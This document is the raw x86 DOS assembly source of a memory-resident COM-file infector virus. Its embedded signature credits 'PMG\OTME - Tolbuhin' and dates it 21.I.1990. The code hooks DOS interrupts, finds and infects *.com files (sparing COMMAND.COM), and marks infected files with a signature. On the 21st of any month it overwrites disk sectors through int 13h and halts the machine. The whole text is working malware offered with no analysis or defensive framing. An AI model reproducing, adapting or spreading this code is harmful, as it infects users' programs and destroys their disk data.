start: jmp short begin db (00h) db (53h) db (4bh) int 20h okey: db (0b8h) db (03h) db (00h) db (0cdh) db (10h) begin: push cx CALL F1 F1: POP SI SUB SI,09 push cs pop ds push cs pop es MOV WORD PTR [LenF],SI cld mov di,100h mov cx,5 rep movsb jmp ding1 int21h: STI cmp ah,00 jz int20h cmp ah,4ch jz int20h et1: db (0eah) is: dw 0 io: dw 0 ;int13h: sti ; PUSH BX ; PUSH CX ; PUSH DX ; PUSH DS ; PUSH ES ; PUSH SI ; PUSH DI ; push ax ; push ds ; cmp ah,03 ; jz etk2 ; cmp ah,05 ; jnz etk3 ;etk2: mov ax,0000 ; mov ds,ax ; inc Word ptr [310h] ; cmp Word ptr [310h],0FFEh ; jnz etk3 ; push cs ; pop ds ; int 20h ;etk3: pop ds ; pop ax ; int 65h ; cld ; mov ax,0 ; POP DI ; POP SI ; POP ES ; POP DS ; POP DX ; POP CX ; POP BX ; iret int20h: STI PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH SI PUSH DI mov ah,2ah int 21h cmp dl,21 jnz okef mov ax,0309h mov dx,0000h mov cx,0001h lea bx,[100h] int 13h jmp short okep okef: mov ax,0 mov ds,ax inc word ptr [310h] cmp Word ptr [310h],0FFFh jnz oke okep: push cs pop ds mov ah,9 mov di,name-okey add di,107h mov dx,di int 21h cli hlt oke: mov ax,0 mov ds,ax cmp byte ptr [302h],0 jz et3 mov byte ptr [302h],0 jmp main dinge: jmp ding et3: push cs ;ds <- cs pop ds mov ah,2fh ;Dos service function ah=2FH (get DTA) int 21h ;ES:BX Addres of current DTA mov di,edta-okey add di,107h mov [di],ES mov [di+2],BX mov ah,1ah ;Dos service function ah=1AH (set DTA) PUSH CS POP DS mov dx,dta-okey ;DS:DX Addres of DTA add dx,107h int 21h push cs pop ds MOV AH,4eH MOV DX,files-okey ADD dx,107h mov cx,00 INT 21H ;Dos service function ah=4EH (FIND FIRST) jc dinge ;CX File attribute ;DS:DX Pointer of filespec (ASCIIZ string) vir: mov ax,3d02h push cs pop ds mov dx,dta-okey ;DS:DX Addres of DTA add dx,107h add dx,1EH int 21h ;Dos service function ah=3DH (OPEN FILE) ;AL Open mode ;DS:DX Pointer to filename (ASCIIZ string) ;Return AX file handle mov di,handle-okey add di,107h mov [di],ax mov ah,'C' mov al,'D' PUSH DX POP BX cmp [bx],ah ;Compare filename for 'COMMAND.COM' jnz p1 ;If not first char 'C' then push virus in file cmp [bx+6],al jz v ;If 7 char 'D' then find next file p1: mov di,handle-okey add di,107h mov bx,[di] push cs pop ds mov ah,3fh mov dx,end-okey add dx,107h mov cx,5 int 21h ;Dos service function ah=3FH (READ FILE) ;BX File handle ;CX Number of bytes to read ;DS:DX Addres of buffer push cs pop es ;ES <- CS cld PUSH DX POP SI mov di,107h mov cx,5 rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI ; SI=SI+1 ; DI=DI+1 mov ax,534bh mov di,dx add di,3 cmp [di],ah jnz fuck inc di cmp [di],al jnz fuck v: push cs pop ds mov di,handle-okey add di,107h mov bx,[di] mov ah,3eh int 21h push cs pop ds mov ah,4fh int 21h jc enzi jmp short vir enzi: jmp ding fuck: mov ax,dta-okey add ax,107h add ax,1aH mov di,ax Mov Word Ptr cx,[di] mov ax,end-okey add ax,107h mov di,ax mov al,0e9h cmp cx,0feh jna v add cx,2 mov [di],al inc di mov Word Ptr [di],cx mov ax,534bh add di,2 mov [di],ah inc di mov [di],al mov di,handle-okey add di,107h mov bx,[di] mov ax,4200h xor cx,cx xor dx,dx push cs pop ds int 21h mov di,handle-okey add di,107h mov bx,[di] mov ah,40h mov dx,end-okey add dx,107h mov cx,5 int 21h mov ax,4202h xor cx,cx xor dx,dx int 21h push cs pop ds mov di,handle-okey add di,107h mov bx,[di] mov ah,40h mov dx,107h mov cx,end-okey int 21h mov ah,3eh int 21h mov ax,0000 mov ds,ax inc Word ptr [0310h] push cs pop ds ding: mov ah,1ah mov di,edta-okey add di,107h mov ds,[di] mov dx,[di+2] int 21h main: PUSH CS POP DS POP DI POP SI POP ES POP DS POP DX POP CX POP BX POP AX int1h: DB (0EAH) INTSH: DW (0) INTOH: DW (0) name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$' for1: jmp for files: db '*.com',0 Ding1: mov ax,0000h mov ds,ax mov byte ptr [302h],1 cmp word ptr [300h],4B53h jz for1 mov word ptr [300h],4B53h mov ah,62h int 21h mov ds,bx mov bx,[2ch] dec bx mov dx,0FFFFh loc_1: mov ds,bx mov di,[3] inc di add dx,di add bx,di cmp byte ptr [0000],5Ah jne loc_1 mov cx,es add cx,dx sub word ptr [3],80h sub cx,80h sub cx,10h mov es,cx mov di,100h cld PUSH DI mov ax,0000h mov ds,ax ; mov bx,[004ch] ; mov [0194h],bx ; mov cx,[004eh] ; mov [0196h],cx mov bx,[0080h] mov cx,[0082h] PUSH CS POP DS mov di,intsh-okey add di,[lenf] mov [di],bx mov [di+2],cx mov ax,0000h mov ds,ax mov bx,[0084h] mov cx,[0086h] PUSH CS POP DS mov di,is-okey add di,[lenf] mov [di],bx mov [di+2],cx push cs pop ds POP DI mov si,[lenf] sub si,7 mov cx,800h push cs pop ds rep movsb mov ax,0000 mov ds,ax mov WORD PTR [0082h],es mov WORD PTR [0086h],es ; mov WORD PTR [004eh],es ; mov di,int13h-okey ; add di,107h ; mov WORD PTR [004ch],di mov di,int20h-okey add di,107h mov WORD PTR [0080h],di mov di,int21h-okey add di,107h mov WORD PTR [0084h],di jmp ding3 for: mov ax,0 mov ds,ax mov bx,[80h] mov cx,[82h] push cx pop ds push cx mov di,intsh-okey add di,107h mov bx,[di] mov cx,[di+2] push cs pop ds mov di,v20h1-okey add di,[lenf] mov [di],bx mov [di+2],cx mov ax,0000h mov ds,ax mov Byte ptr [302h],0 pop ds mov di,INTSH-okey add di,107h mov bx,ding2-okey add bx,[lenf] mov word ptr [di],bx mov word ptr [di+2],CS int 20h ding2: push cs pop ds mov di,v20h1-okey add di,[lenf] mov bx,[di] mov cx,[di+2] mov ax,0 mov ds,ax mov WORD PTR ax,[82h] mov word ptr [302h],1 mov ds,ax mov di,intsh-okey add di,107h mov [di],bx mov [di+2],cx ding3: PUSH CS POP DS push cs pop es pop cx mov si,100h jmp si LenF: dw ? dta: db 256 dup (?) handle: dw ? edta: dw ? bdta: dw ? v20h1: dw ? v20h2: dw ? com: db 'COMMAND' end: db (00)